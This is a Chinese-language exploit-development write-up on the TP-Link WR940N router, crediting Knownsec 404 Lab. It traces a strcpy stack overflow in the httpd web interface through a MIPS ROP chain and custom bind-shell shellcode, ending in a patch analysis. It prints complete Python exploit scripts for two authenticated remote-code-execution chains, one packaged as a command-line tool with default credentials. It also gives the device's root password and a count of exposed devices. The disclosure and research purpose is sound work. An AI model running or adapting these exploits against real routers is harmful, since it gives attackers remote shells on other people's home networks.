作者:知道創宇404實驗室
本文重點討論作者近期從事 TP-Link WR940N 家用 WiFi 路由器漏洞研究獲得的心得體會,主要從發現漏洞代碼路徑的必要步驟與通過這些路徑實現遠程代碼執行的方式兩方面入手。
首先,我將介紹如何找到第一個漏洞以及生成完整攻擊鏈的方法;然后,說明此漏洞已形成特定模式,可使設備遭受數百種網絡攻擊。
我選取的設備是TP-Link(硬件版本4)WR940N 家用 WiFi 路由器。進行物聯網設備研究的通常做法是獲取固件副本并提取文件系統。
固件鏈接:https://static.tp-link.com/TL-WR940N(US)_V4_160617_1476690524248q.zip
如圖所示,binwalk已成功發現并提取文件系統。下一步是獲得關于設備運行程序的少量信息,例如影子文件內容(具體原因將在后文闡述)。
我接觸過的多數嵌入式系統都采用busybox,所以重點在于找出能夠運行哪些程序、是否需要某種形式的shell注入。解決上述問題通常有兩種做法,一種做法是列出busybox中的所有symlink。我個人比較喜歡在chroot環境qemu下運行busybox二進制文件,好處是能夠獲知啟用了哪些功能:
所以,我并沒有采用Telnet、netcat等工具,但確實有用到tftp。后者可在獲取shell注入后使用。最后,快速瀏覽rc.d/rcS后得出結論,路由器啟動最后一項操作是運行httpd二進制文件。我原以為可從這里入手,因為HTTP daemon通常提供較大攻擊面。
我在Web界面初始測試階段找到可在成功驗證大型字符串的前提下致使設備停止響應的區域。有趣的是用戶端代碼輸入不得超過50個字符。
顯然,這種做法可通過Burp Suite輕易繞過。在等待USB uart 啟動設備的過程中,我決定對這些字段進行簡單的fuzz處理。此外,我還發現輸入51字節ping_addr后產生以下后果:
盡管HTTP端口仍處于開放狀態,我還是以略顯笨拙的fuzzing方法將字節數提高到200,并發現這種做法確實能使服務崩潰:
現在,我們已成功發現一個拒絕服務(DoS)漏洞,但并沒多大新意。為了合理調試運行程序,我需要通過uart交互界面訪問設備,具體步驟參見https://wiki.openwrt.org/toh/tp-link/tl-wr940n。應注意,設備成功啟動后將出現一個登陸提示??蓢L試破解上述影子文件密碼或像我一樣到網上進行谷歌搜索(root密碼為sohoadmin)。
現在我們已成功訪問設備,可以了解實際運行了哪些程序。如圖所示,httpd二進制文件負責多個進程。
最后一步是下載gdbserver。為確保正常運行,我花費大量功夫尋找一款交叉編譯的gdbserver。如果選擇下載GPL源代碼,就可以省去這些麻煩,直接獲取預先編譯的二進制文件。我用SCP進行復制,經過一番周折終于發現連接到上一個httpd進程可以調試實際Web界面。
如上所述,用戶輸入超出JavaScript代碼限制就會造成HTTP服務崩潰。
IDA中的二進制文件明確闡述了具體進程使用情況。例如,sub_453C50具有檢查請求是否有效、通過驗證的常用功能:
接下來,對httpGetEnv進行調用。應注意 “ping_addr”、“isNew”等值通過GET參數傳遞。然后,仍在相同函數中調用ipAddrDispose。
第一個漏洞就存在于這個函數中。函數開頭聲明堆棧變量va_AC,然后作為目標參數傳遞給strcpy調用。問題在于源參數($s1)是函數的第一個引數,并且沒有對其長度進行驗證,屬于一個經典的緩沖區溢出。
為此,我專門寫了一個簡單的python腳本觸發漏洞,也就是登錄功能。登錄設備將生成隨機URL。
import urllib2 import urllib import base64 import hashlibdef login(ip, user, pwd): #### Generate the auth cookie of the form b64enc(‘admin:’ + md5(‘admin’)) hash = hashlib.md5() hash.update(pwd) auth_string = “%s:%s” %(user, hash.hexdigest()) encoded_string = base64.b64encode(auth_string) print “[debug] Encoded authorisation: %s” %encoded_string#### Send the request url = “http://” + ip + “/userRpm/LoginRpm.htm?Save=Save” req = urllib2.Request(url) req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %encoded_string) resp = urllib2.urlopen(req)#### The server generates a random path for further requests, grab that here data = resp.read() next_url = “http://%s/%s/userRpm/” %(ip, data.split(“=”)[2].split(“/”)[3]) print “[debug] Got random path for next stage, url is now %s” %next_urlreturn (next_url, encoded_string) def exploit(url, auth): #trash,control of s0,s1 + ra + shellcode evil = “\x41″*800 params = {‘ping_addr’: evil, ‘doType’: ‘ping’, ‘isNew’: ‘new’, ‘sendNum’: ’20’, ‘pSize’: ’64’, ‘overTime’: ‘800’, ‘trHops’: ’20’} new_url = url + “PingIframeRpm.htm?” + urllib.urlencode(params) req = urllib2.Request(new_url) req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth) req.add_header(‘Referer’, url + “DiagnosticRpm.htm”) resp = urllib2.urlopen(req) if __name__ == ‘__main__’: data = login(“192.168.0.1”, “admin”, “admin”) exploit(data[0], data[1])
啟動gdbserver(需附加到最后一個httpd進程)后,我在ipAddrDispose退出之前設置了一個斷點,然后運行PoC:
可以看到,我們已經獲得返回地址的控制權限。 在執行常規的msf_pattern_create / pattern_offset進程后,$ra在偏移量168處被覆蓋。同時,我們分別擁有對$s0(位于偏移量160)與$s1(位于偏移量164)的控制權。此外,我們還有一個大型緩沖區堆棧存放shellcode:
這部分工作需要注意Mips架構相關事項。首先是緩存一致性,這點在許多博客中都有廣泛提及(參見 http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/)。 簡單說來,如果我們嘗試在堆棧上執行shellcode,CPU將檢查緩存中是否已有虛擬地址數據,如果有就執行。這意味著觸發漏洞前,堆棧上的任何數據都可能被執行。 此外,如果我們的shellcode具有自修改屬性(對于IE,我們使用編碼器),編碼指令將最終被執行。
參考:http://cdn.imgtec.com/mips-training/mips-basic-training-course/slides/Caches.pdf
正如許多在線資源所述,刷新緩存的最佳方式是通過ROP將調用設置為睡眠狀態。觸發該漏洞后,我將兩個調用設置為睡眠狀態,第一個直接進入睡眠狀態,第二個在解碼器成完成對含有壞字節的指令解碼后進入睡眠狀態。
我們只有確定哪些庫可執行及其所在地址才能判斷應使用哪些小工具。(注:默認情況下不啟用ASLR)。
httpd maps: 00400000-00587000 r-xp 00000000 1f:02 64 /usr/bin/httpd 00597000-005b7000 rw-p 00187000 1f:02 64 /usr/bin/httpd 005b7000-00698000 rwxp 00000000 00:00 0 [heap] 2aaa8000-2aaad000 r-xp 00000000 1f:02 237 /lib/ld-uClibc-0.9.30.so 2aaad000-2aaae000 rw-p 00000000 00:00 0 2aaae000-2aab2000 rw-s 00000000 00:06 0 /SYSV0000002f (deleted) 2aabc000-2aabd000 r–p 00004000 1f:02 237 /lib/ld-uClibc-0.9.30.so 2aabd000-2aabe000 rw-p 00005000 1f:02 237 /lib/ld-uClibc-0.9.30.so 2aabe000-2aacb000 r-xp 00000000 1f:02 218 /lib/libpthread-0.9.30.so 2aacb000-2aada000 —p 00000000 00:00 0 2aada000-2aadb000 r–p 0000c000 1f:02 218 /lib/libpthread-0.9.30.so 2aadb000-2aae0000 rw-p 0000d000 1f:02 218 /lib/libpthread-0.9.30.so 2aae0000-2aae2000 rw-p 00000000 00:00 0 2aae2000-2ab3f000 r-xp 00000000 1f:02 238 /lib/libuClibc-0.9.30.so<….. snip …..>7edfc000-7ee00000 rwxp 00000000 00:00 0 7effc000-7f000000 rwxp 00000000 00:00 0 7f1fc000-7f200000 rwxp 00000000 00:00 0 7f3fc000-7f400000 rwxp 00000000 00:00 0 7f5fc000-7f600000 rwxp 00000000 00:00 0 7fc8b000-7fca0000 rwxp 00000000 00:00 0 [stack]
LibuClibC-0.9.30.so看似可行,在IDA中打開并使用http://www.devttys0.com/2013/10/mips-rop-ida-plugin/中的mipsrop.py腳本就可以尋找小工具了。
首先,我們需要一個具有以下功能的小工具:
li $a0, 1 mov $t9, $s0 or $s1 #we control $s0 and $s1 jr $t9
運行的第一個命令是mipsrop.set_base(0x2aae000),它將自動計算實際地址。
注意第二個小工具,它返回到$s1中的地址:
這是我設置睡眠狀態調用的小工具,它的地址將覆蓋ipAddrDispose的返回地址。
我們將要用到的下一個小工具(放入$s1)需要調用睡眠狀態,前提是將睡眠后調用的小工具地址放放在ra中。 我們可以使用mipsrop.tail()查找此類小工具。
這個小工具運行良好,唯一要注意的是它會在初次運行時自動完成調用。
第一次被調用時,$s1將包含0x2AE3840,用作$t9中的地址跳轉。為了讓這個小工具正常工作,需要準備堆棧。在第一次調用過程中,將睡眠地址放在$s1中,也就是0x20($sp)。 在第二次調用過程中,$t9將產生睡眠地址,需要將待調用的下一個小工具地址設置為0x24($sp),再根據最終小工具填寫$s0和$s1(跳轉至現有shellcode)。
這為我們提供了以下有效載荷:
Trash $s1 $ra rop = “A”*164 + call_sleep + prepare_sleep + “B”*0x20 + sleep_addr $s0 $s1 $ra rop += “C”*0x20 + “D”*4 + “E”*4 + next_gadg
從睡眠狀態返回后,待調用的下一個小工具需要將堆棧指針存儲在寄存器中,然后跳轉至$s0或$s1中的地址(均在控制范圍內)。 這將導致最終的小工具跳轉到該寄存器(意味著它將跳轉至堆棧的某個位置,最好是shellcode的位置)。mipsrop.py中的一個便捷功能是stack stackfinder():
瀏覽后發現幾乎所有這些小工具都好用,我們重點了解最后一個:
既然$s0可通過之前的小工具進行控制,現在要做的是找到一個跳轉至$s2中地址(堆棧地址)的小工具。
這些小工具都有效,但我偏好使用對其他寄存器影響最小的小工具,例如:
此時,有效載荷如下所示:
nop = “\x22\x51\x44\x44” gadg_1 = “\x2A\xB3\x7C\x60” gadg_2 = “\x2A\xB1\x78\x40” sleep_addr = “\x2a\xb3\x50\x90” stack_gadg = “\x2A\xAF\x84\xC0” call_code = “\x2A\xB2\xDC\xF0″def first_exploit(url, auth): # trash $s1 $ra rop = “A”*164 + gadg_2 + gadg_1 + “B”*0x20 + sleep_addr rop += “C”*0x20 + call_code + “D”*4 + stack_gadg + nop*0x20 + shellcode
攻擊鏈運行后困在NOP sled環節,當務之急是寫一些shellcode,識別壞字符,并將 + + <編碼shellcode>附加到攻擊鏈。
我只找到一處壞字節0x20,顯然應該是0x00。
我嘗試使所有常見有效載荷正常工作,但msf_venom無法使用mips/long_xor編碼,而我也無法獲得bowcaster有效載荷。 我沒寫過mips shellcode,所以決定寫一個極簡版編碼器,僅通過引用堆棧偏移對含有壞字節的指令進行操作。
.set noreorder #nop addi $s5, $s6, 0x4444#xor key li $s1, 2576980377#get address of stack la $s2, 1439($sp)#s2 -> end of shellcode (end of all shellcode) addi $s2, $s2, -864#decode first bad bytes lw $t2, -263($s2) xor $v1, $s1, $t2 sw $v1, -263($s2)#decode 2nd bad bytes lw $t2, -191($s2) xor $v1, $s1, $t2 sw $v1, -191($s2)<…snip…>##### sleep #####li $v0, 4166 li $t7, 0x0368 addi $t7, $t7, -0x0304 sw $t7, -0x0402($sp) sw $t7, -0x0406($sp) la $a0, -0x0406($sp) syscall 0x40404 addi $t4, $t4, 4444 #nop
這顯然不是最有效的處理方式,因為需要在堆棧上找到每個壞字節的偏移量(幸好mips是4字節對齊指令,因此每個偏移都是4的倍數)。此外,還需要計算每個壞字節指令的編碼值。
綁定shellcode非常簡單。
.set noreorder ###### sys_socket ###### addiu $sp, $sp, -32 li $t6, -3 nor $a0, $t6, $zero nor $a1, $t6, $zero slti $a2, $0, -1 li $v0, 4183 syscall 0x40404##### sys_bind #### add $t9, $t9, 0x4444 #nop andi $s0, $v0, 0xffff li $t6, -17 nor $t6, $t6, $zero li $t5, 0x7a69 #port 31337 li $t7, -513 nor $t7, $t7, $zero sllv $t7, $t7, $t6 or $t5, $t5, $t7 sw $t5, -32($sp) sw $zero,-28($sp) sw $zero,-24($sp) sw $zero,-20($sp) or $a0, $s0, $s0 li $t6, -17 nor $a2, $t6, $zero addi $a1, $sp, -32 li $v0, 4169 syscall 0x40404##### listen ##### li $t7,0x7350 or $a0,$s0,$s0 li $a1,257 li $v0,4174 syscall 0x40404##### accept ##### li $t7,0x7350 or $a0,$s0,$s0 slti $a1,$zero,-1 slti $a2,$zero,-1 li $v0,4168 syscall 0x40404##### dup fd’s #### li $t7,0x7350 andi $s0,$v0,0xffff or $a0,$s0,$s0 li $t7,-3 nor $a1,$t7,$zero li $v0,4063 syscall 0x40404 li $t7,0x7350 or $a0,$s0,$s0 slti $a1,$zero,0x0101 li $v0,4063 syscall 0x40404 li $t7,0x7350 or $a0,$s0,$s0 slti $a1,$zero,-1 li $v0,4063 syscall 0x40404######execve###### lui $t7,0x2f2f ori $t7,$t7,0x6269 sw $t7,-20($sp) lui $t6,0x6e2f ori $t6,$t6,0x7368 sw $t6,-16($sp) sw $zero,-12($sp) addiu $a0,$sp,-20 sw $a0,-8($sp) sw $zero,-4($sp) addiu $a1,$sp,-8 li $v0,4011 syscall 0x40404#### sleep ##### li $v0, 4166 li $t7, 0x0368 addi $t7, $t7, -0x0304 sw $t7, -0x0402($sp) sw $t7, -0x0406($sp) la $a0, -0x0406($sp) syscall 0x40404 addi $t4, $t4, 4444
請注意,如果我們在調用execve后沒有進入睡眠狀態,原始進程將會結束并殺死所有其他httpd進程,阻止我們訪問bind shell。
此漏洞的最終攻擊鏈構造如下:
import urllib2 import urllib import base64 import hashlib import osdef login(ip, user, pwd): #### Generate the auth cookie of the form b64enc(‘admin:’ + md5(‘admin’)) hash = hashlib.md5() hash.update(pwd) auth_string = “%s:%s” %(user, hash.hexdigest()) encoded_string = base64.b64encode(auth_string) print “[debug] Encoded authorisation: %s” %encoded_string #### Send the request url = “http://” + ip + “/userRpm/LoginRpm.htm?Save=Save” print “[debug] sending login to ” + url req = urllib2.Request(url) req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %encoded_string) resp = urllib2.urlopen(req) #### The server generates a random path for further requests, grab that here data = resp.read() next_url = “http://%s/%s/userRpm/” %(ip, data.split(“/”)[3]) print “[debug] Got random path for next stage, url is now %s” %next_url return (next_url, encoded_string)#custom bind shell shellcode with very simple xor encoder #followed by a sleep syscall to flush cash before running #bad chars = 0x20, 0x00 shellcode = ( #encoder “\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99” “\x27\xb2\x05\x9f” “\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9” “\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41” “\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d” “\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71” “\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d” “\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99” “\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5” “\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad” “\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9” “\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1” “\x02\x2a\x18\x26\xae\x43\xff\xc1″#sleep “\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08” “\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa” “\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c”################ encoded shellcode ############### “\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06” “\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff” “\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d” “\x7a\x69” #<————————- PORT 0x7a69 (31337) “\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad” “\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc” “\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01” “\x01\x0c\x24\x0f\x73\x50” “\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f” “\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48” “\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f” “\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50” “\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f” “\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c” “\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce” “\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8” “\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02” “\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa” “\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c” )###### useful gadgets ####### nop = “\x22\x51\x44\x44” gadg_1 = “\x2A\xB3\x7C\x60” gadg_2 = “\x2A\xB1\x78\x40” sleep_addr = “\x2a\xb3\x50\x90” stack_gadg = “\x2A\xAF\x84\xC0” call_code = “\x2A\xB2\xDC\xF0″def first_exploit(url, auth): # trash $s1 $ra rop = “A”*164 + gadg_2 + gadg_1 + “B”*0x20 + sleep_addr rop += “C”*0x20 + call_code + “D”*4 + stack_gadg + nop*0x20 + shellcode params = {‘ping_addr’: rop, ‘doType’: ‘ping’, ‘isNew’: ‘new’, ‘sendNum’: ’20’, ‘pSize’: ’64’, ‘overTime’: ‘800’, ‘trHops’: ’20’} new_url = url + “PingIframeRpm.htm?” + urllib.urlencode(params)print “[debug] sending exploit…” print “[+] Please wait a few seconds before connecting to port 31337…” req = urllib2.Request(new_url) req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth) req.add_header(‘Referer’, url + “DiagnosticRpm.htm”) resp = urllib2.urlopen(req)if __name__ == ‘__main__’: data = login(“192.168.0.1”, “admin”, “admin”) first_exploit(data[0], data[1])
這個漏洞有一個非常簡單的模式,即來自GET參數的用戶輸入直接傳遞給strcpy調用,無需任何驗證。 深入分析二進制文件后得出結論,這種相同模式在多處都有呈現。
實際上,存在大量strcpy調用:
值得稱贊的是,廠商在短短幾天內就為第一個漏洞提供了補丁。 但從我個人角度看,幾乎所有這些strcpy調用都需要以更安全的字符串復制功能替代。為了證明這一點,我決定再構造一個攻擊鏈,通過dnsserver2參數觸發WanStaticIpV6CfgRpm.htm中的緩沖區溢出。
這個攻擊鏈與之前那個十分相似,僅在自定義編碼器中存在一處偏移量改變(因為堆棧指針指向不同位置)。 主要區別是在我在Mips exploit開發過程中沒有遇到的字節對齊問題。
構造攻擊鏈過程中,我不斷收到非法指令錯誤提示,nop sled看起來也不像以前那樣:
注意所有指令都相隔2個字節,原因在于我的有效載荷:
這個緩沖區結尾有一處未指定輸入,強制有效載荷結束對齊。 事實證明,即使這是最后步驟,也需要填補最終有效載荷,恢復對齊。完成后,nopsled將如下所示:
我們得到綁定shell:
最終代碼包含兩個漏洞的攻擊鏈,如下所示:
(注:在second_exploit中,幾乎所有GET參數都易受緩沖區溢出影響)
import urllib2 import base64 import hashlib from optparse import * import sys import urllibbanner = ( “___________________________________________________________________________\n” “WR940N Authenticated Remote Code Exploit\n” “This exploit will open a bind shell on the remote target\n” “The port is 31337, you can change that in the code if you wish\n” “This exploit requires authentication, if you know the creds, then\n” “use the -u -p options, otherwise default is admin:admin\n” “___________________________________________________________________________” )def login(ip, user, pwd): print “[+] Attempting to login to http://%s %s:%s”%(ip,user,pwd) #### Generate the auth cookie of the form b64enc(‘admin:’ + md5(‘admin’)) hash = hashlib.md5() hash.update(pwd) auth_string = “%s:%s” %(user, hash.hexdigest()) encoded_string = base64.b64encode(auth_string)print “[+] Encoded authorisation: %s” %encoded_string#### Send the request url = “http://” + ip + “/userRpm/LoginRpm.htm?Save=Save” print “[+] sending login to ” + url req = urllib2.Request(url) req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %encoded_string) resp = urllib2.urlopen(req) #### The server generates a random path for further requests, grab that here data = resp.read() next_url = “http://%s/%s/userRpm/” %(ip, data.split(“/”)[3]) print “[+] Got random path for next stage, url is now %s” %next_url return (next_url, encoded_string) #custom bind shell shellcode with very simple xor encoder #followed by a sleep syscall to flush cash before running #bad chars = 0x20, 0x00 shellcode = ( #encoder “\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99” “\x27\xb2\x05\x4b” #0x27b2059f for first_exploit “\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9” “\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41” “\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d” “\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71” “\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d” “\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99” “\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5” “\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad” “\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9” “\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1” “\x02\x2a\x18\x26\xae\x43\xff\xc1” #sleep “\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08” “\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa” “\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c” ################ encoded shellcode ############### “\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06” “\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff” “\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d” “\x7a\x69” #<————————- PORT 0x7a69 (31337) “\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad” “\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc” “\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01” “\x01\x0c\x24\x0f\x73\x50” “\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f” “\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48” “\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f” “\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50” “\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f” “\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c” “\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce” “\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8” “\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02” “\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa” “\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c” ) ###### useful gadgets ####### nop = “\x22\x51\x44\x44” gadg_1 = “\x2A\xB3\x7C\x60” gadg_2 = “\x2A\xB1\x78\x40” sleep_addr = “\x2a\xb3\x50\x90” stack_gadg = “\x2A\xAF\x84\xC0” call_code = “\x2A\xB2\xDC\xF0” def first_exploit(url, auth): # trash $s1 $ra rop = “A”*164 + gadg_2 + gadg_1 + “B”*0x20 + sleep_addr + “C”*4 rop += “C”*0x1c + call_code + “D”*4 + stack_gadg + nop*0x20 + shellcode params = {‘ping_addr’: rop, ‘doType’: ‘ping’, ‘isNew’: ‘new’, ‘sendNum’: ’20’, ‘pSize’: ’64’, ‘overTime’: ‘800’, ‘trHops’: ’20’} new_url = url + “PingIframeRpm.htm?” + urllib.urlencode(params) print “[+] sending exploit…” print “[+] Wait a couple of seconds before connecting” print “[+] When you are finished do http -r to reset the http service” req = urllib2.Request(new_url) req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth) req.add_header(‘Referer’, url + “DiagnosticRpm.htm”) resp = urllib2.urlopen(req) def second_exploit(url, auth): url = url + “WanStaticIpV6CfgRpm.htm?” # trash s0 s1 s2 s3 s4 ret shellcode payload = “A”*111 + “B”*4 + gadg_2 + “D”*4 + “E”*4 + “F”*4 + gadg_1 + “a”*0x1c payload += “A”*4 + sleep_addr + “C”*0x20 + call_code + “E”*4 payload += stack_gadg + “A”*4 + nop*10 + shellcode + “B”*7 print len(payload) params = {‘ipv6Enable’: ‘on’, ‘wantype’: ‘2’, ‘ipType’: ‘2’, ‘mtu’: ‘1480’, ‘dnsType’: ‘1’, ‘dnsserver2’: payload, ‘ipAssignType’: ‘0’, ‘ipStart’: ‘1000’, ‘ipEnd’: ‘2000’, ‘time’: ‘86400’, ‘ipPrefixType’: ‘0’, ‘staticPrefix’: ‘AAAA’, ‘staticPrefixLength’: ’64’, ‘Save’: ‘Save’, ‘RenewIp’: ‘1’} new_url = url + urllib.urlencode(params) print “[+] sending exploit…” print “[+] Wait a couple of seconds before connecting” print “[+] When you are finished do http -r to reset the http service” req = urllib2.Request(new_url) req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth) req.add_header(‘Referer’, url + “WanStaticIpV6CfgRpm.htm”) resp = urllib2.urlopen(req) if __name__ == ‘__main__’: print banner username = “admin” password = “admin” parser = OptionParser() parser.add_option(“-t”, “–target”, dest=”host”, help=”target ip address”) parser.add_option(“-u”, “–user”, dest=”username”, help=”username for authentication”, default=”admin”) parser.add_option(“-p”, “–password”, dest=”password”, help=”password for authentication”, default=”admin”) (options, args) = parser.parse_args() if options.host is None: parser.error(“[x] A host name is required at the minimum [x]”) if options.username is not None: username = options.username if options.password is not None: password = options.password (next_url, encoded_string) = login(options.host, username, password) ###### Both exploits result in the same bind shell ###### #first_exploit(data[0], data[1]) second_exploit(next_url, encoded_string)
一項shodan快速搜索結果顯示有7200臺類似聯網設備。(目前,已在一個月內增長了3500臺。)
為了修復這些漏洞,廠商需要以更安全的操作(例如strncpy)代替大部分strcpy調用。值得稱贊的是,他們很快就實現了這一目標并在報告其他受影響代碼的一周內提供了完整補丁。接下來,我將對補丁進行快速分析。
首先,應查看strcpy交叉引用。二進制文件存在700多個調用,在修復版本中,我們可以看到不同景象:
針對這些位置的深入分析結果顯示,這些調用不對用戶輸入產生影響,例如:
對于分析已知漏洞存在區域,例如dnsserver2 GET參數:
簡單起見,令$a0 = dest,$a1 = src,$a2 = size。 接下來我們可以看到:
我們可以看到,以上操作有效防止了緩沖區溢出,因為只能將最大數量字節復制到緩沖區。 var_24F是一個基于堆棧的緩沖區,大小為0x2C。
事實上,我們現在可以看到,提供給廠商的漏洞模式已被安全模式取代。 因此,修復程序通過移除用戶輸入中的strcpy調用來合理保護緩沖區溢出。
Binwalk
IDA
Qemu
mipsrop.py插件
適用于TTL UART 6PIN CP2102模塊串行轉換器的USB 2.0
Tim Carrington –@__invictus_